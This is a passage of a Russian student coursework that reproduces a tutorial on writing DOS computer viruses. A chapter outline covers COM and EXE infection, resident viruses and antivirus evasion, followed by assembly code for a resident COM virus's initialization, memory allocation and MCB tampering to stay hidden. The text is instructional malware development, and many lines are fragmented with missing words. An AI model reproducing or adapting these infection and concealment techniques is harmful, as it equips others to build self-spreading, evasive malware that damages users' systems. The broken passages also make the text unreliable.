Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
А теперь пора заняться изготовлением секции иници-
ализации
нашей программы .Поскольку
полняется
при запуске зараженного файла,
коррекцию регистра DS ( см. гл. 1, 1.6 ) :
push_len equ $-vir - 2
mov ax,ds ;Корректируем DS
db 05h ;Код команды
add_to_ds: dw 0 ;" ADD AX,00h "
mov ds,ax
Константа " push_len " содержит смещение от начала
вируса до начала секции инициализации . Именно это
число записывается за меткой " vir " (см. п. 2.5).
Далее следует проверить наличие вируса в памяти
(см. п. 2.3), поэтому :
mov ax,0f000h ;Проверим, есть
mov bx,1997h ;вирус в памяти,
int 2fh ;или еще нет ...
jc fresh_bytes
cmp al,0ffh
jne free_mem ;Нет -
Для проверки используется так называемое мульти-
плексное прерывание MS DOS, специально предназна-
ченное для использования в резидентных программах.
В регистрах AX и BX мы поместим код, на который
реагирует вирусный обработчик этого прерывания, и
выполним команду " INT 2Fh " .Если вирус был уста-
новлен в памяти,его обработчик проанализирует зна-
чения AX и BX .И если они равны " 0f000h " и " 19-
97h ", вернет в AL число 0ffh, которое и рассчиты-
вает получить секция инициализации .
Если вирусный код
уже инсталлирован,
восстановить в памяти компьютера исходные три бай-
та зараженной программы (см. п. 2.3) :
fresh_bytes:
mov al,old_bytes ;первые три бай-
mov cs:[100h],al ;программы ...
mov al,old_bytes+1
mov cs:[101h],al
mov al,old_bytes+2
mov cs:[102h],al
Восстановить значения сегментных регистров:
mov ax,cs ;Восстанавливаем
mov es,ax ;регистры ...
mov start_cs,ax
mov ds,ax
И выполнить переход на начало этой программы :
jmp cl_conv_1 ;Передаем управ-
cl_conv_1: db 0eah ;ление заражен-
dw 100h ;ной программе
start_cs dw 0
Здесь команда " jmp cl_conv_1 " очищает очередь
процессора ( см. гл. 1, п. 1.7 ) . Без нее наш ви-
рус на некоторых процессорах работал бы некоррек-
тно .
Если же вируса в
памяти еще нет, нужно
его в память .Эту работу выполняют команды, запи-
санные за меткой " free_mem " .
2.8 Запрашиваем блок памяти
Как вы уже знаете,резидентная программа должна на-
ходиться в памяти в течение сеанса работы компью-
тера.Поэтому секция инициализации должна "попро-
сить" MS DOS выделить для загрузки резидентной ча-
сти соответствующий блок памяти .
Существует целый ряд методов, позволяющих получить
в распоряжение TSR - программы область памяти дос-
таточного размера .Например, в обычных резидентных
программах эту функцию выполняет MS DOS в процессе
резидентного завершения .При этом область памяти,
выделенная TSR - программе при ее запуске, просто
усекается до размера резидентной части и остается
занятой после завершения программы .Таким образом,
резидентная часть размещается в том месте, куда
некогда была загружена вся программа.
К сожалению, использование такого метода в вирусе
порождает целый ряд проблем . Например в этом
случае необходимо записывать вирусный код в нача-
ло, а не в конец файла - жертвы, иначе при запуске
зараженной программы она будет " садиться " в па-
мять целиком .Есть и другие трудности, преодолеть
которые очень непросто.Не случайно такой прием при
написании вирусов применяется редко .
Другой способ состоит в использовании для поиска
подходящего блока памяти так называемых MCB - бло-
ков ( потом мы поговорим о них подробнее ) . При
этом вирус должен путем сканирования цепочки бло-
ков управления памятью ( Memory Control Blocks )
найти свободный блок подходящего размера, разде-
лить его на две части, одна из которых точно соот-
ветствует или несколько превышает длину вируса, и
записать во вновь
созданный блок свой код.
недостаток данного метода состоит в том что MCB -
блоки являются
DOS, и при их использовании нужно быть готовым к
тому,что программа будет работать на одной машине
и не будет работать на другой. Это также относится
к разным версиям операционной системы .Кроме того,
очень сложно построить эффективный алгоритм реали-
зации этого метода . Ведь вирусный код должен за-
писываться не просто в подходящий по размерам
блок, а в старшие адреса оперативной памяти, ина-
че загрузка больших программ будет просто невозмо-
жна .
Третий способ заключается в том, что код вируса
копируется в заданную область памяти без коррекции
MCB - блоков. Недостаток его состоит в следующем:
"время жизни" вируса,
чрезвычайно мало и зависит от интенсивности ис-
пользования оперативной памяти . Причем "гибель"
вирусной программы с почти стопроцентной вероятно-
стью приводит к повисанию компьютера. Хотя метод
отличается простотой реализации и имеет ряд других
достоинств, приведенный выше недостаток делает его
практическое использование маловозможным .
Четвертый
способ состоит в
реализующих
управление памятью.Используя
построить
эффективный и корректно
граммный код, который будет хорошо работать на
разных машинах и с любыми версиями операционной
системы
.При этом его реализация
понятна . Поэтому мы применим именно этот способ :
free_mem: mov ah,4ah ;Определим объем
;доступной памя-
mov bx,0ffffh ;Заведомо невоз-
int 21h ;можное значение
;Ошибка будет
; ______________________________
;| Закажем свободный блок памяти,чтобы можно было|
;| записать в него резидентную часть вируса ... |
;|____________________________
sub bx,vir_par + 2 ;Оставим вирусу
mov ah,4ah ;А остальная па-
int 21h ;мять будет
jc fresh_bytes ;занята ...
mov ah,48h ;Попросим DOS
mov bx,vir_par + 1 ;Запас в один
int 21h ;параграф ...
jc fresh_bytes ;Ошибка !
В приведенном
фрагменте использованы
4Ah - изменение размера блока памяти, а также
48h - выделение блока памяти .
Об их использовании вы можете прочесть в ПРИЛОЖЕ-
НИИ 1.
Работа вышеприведенных команд весьма проста и осо-
бых пояснений не требует .Стоит лишь заметить, что
для загрузки вирусного кода выделяется область в
в самом " верху " свободной оперативной памяти,что
является почти обязательным для подавляющего боль-
шинства вирусных программ .
2.9 Делаем вирус " незаметным "
К сожалению,выбранный нами способ поиска свободно-
го блока памяти имеет один скрытый недостаток .Как
вы, наверное, знаете, при завершении программы DOS
освобождает блок памяти, который эта программа за-
нимает .Кроме того, освобождаются также все блоки,
которые были распределены программе по ее запро-
сам .
Предположим, вирус стартовал из зараженной програ-
ммы, с помощью описанных ранее функций MS DOS на-
шел подходящий блок памяти и записал в него свой
код, предварительно переписав на этот код те или
иные прерывания .После этого он передает управле-
ние зараженной программе . Естественно, она когда-
нибудь завершится и передаст управление DOS . Но
ведь в этом случае блок, который занимает вирусный
код, будет освобожден, и при первой необходимости
этот код будет уничтожен,чтобы записать на его ме-
сто другую информацию !В результате произойдет мо-
ментальное " повисание " компьютера .
Очевидно, этого можно избежать, если память, зани-
маемая вирусом, будет оставаться занятой в течение
всего сеанса работы,и не будет освобождаться после
завершения зараженной программы .
Как показал эксперимент, для этой цели достаточно
в MCB,предшествующем
да блоку, сделать
определенные изменения.Но
ла мы немного расскажем о структуре Memory Control
Blocks ( MCB ) и их использовании .
Для того, чтобы следить за использованием памяти,
в MS DOS предусмотрена специальная структура - так
называемый блок управления памятью,или MCB - блок.
Такой блок помещается DOS непосредственно перед
каждым вновь выделяемым блоком памяти, и система
ведет специальный список MCB - блоков,просматривая
его при выполнении тех или иных действий, связан-
ных с распределением памяти.
MCB обязательно начинается на границе параграфа и
всегда занимает целый параграф.Конечно,MS DOS дол-
жна знать о том, где именно расположен первый блок
управления памятью.На этот блок указывает внутрен-
няя переменная DOS, значение и местоположение ко-
торой известно только операционной системе .
Рассмотрим теперь структуру MCB - блока .Итак :
Байт 0 - содержит код 5Ah,если данный блок яв-
ляется последним в цепочке MCB, и код
4Dh - в противном случае .
Байты 1, 2 - Содержат PID (Program IDentificator)
программы, для которой DOS выделяла
блок, или ноль, если блок свободен .
Байты 3, 4 - Содержат размер блока в параграфах .
Следующий блок расположен в памяти по
адресу : MCB_NEW = MCB_OLD + lenght +
+ 1.Здесь MCB_NEW - сегментный адрес,
по которому располагается следующий
MCB, MCB_OLD - сегментный адрес рас-
сматриваемого MCB,а lenght - содержи-
мое байтов 3, 4 этого блока .
Остальные одиннадцать байт блока не используются и
могут содержать любые данные. Но стоит заметить,
что повреждение байтов 1, 3 или 4 приводит к выда-
че сообщения :
Memory Allocation Error
System Halted
и немедленному " зависанию " компьютера .
А теперь вернемся к нашей программе .
Как показал эксперимент, достаточно подменить в
MCB, предшествующем вирусному коду, байты 1 и 2 .
Причем лучше всего записать вместо этих байт PID
какой - нибудь из уже загруженных в память про-
грамм.Этим достигается еще и незаметность вируса в
памяти.Советую вам
TSR - программ и в MCB одной из них подменить бай-
ты 1 и 2 на PID какой - нибудь другой программы .
После этого нажмите в Volkov Commander клавиши ALT
и F5, и вы увидите очень интересный эффект .
Но дело в том, что
для использования
ного метода необходимо еще найти программу, на PID
которой наш вирус будет " паразитировать ".Сделать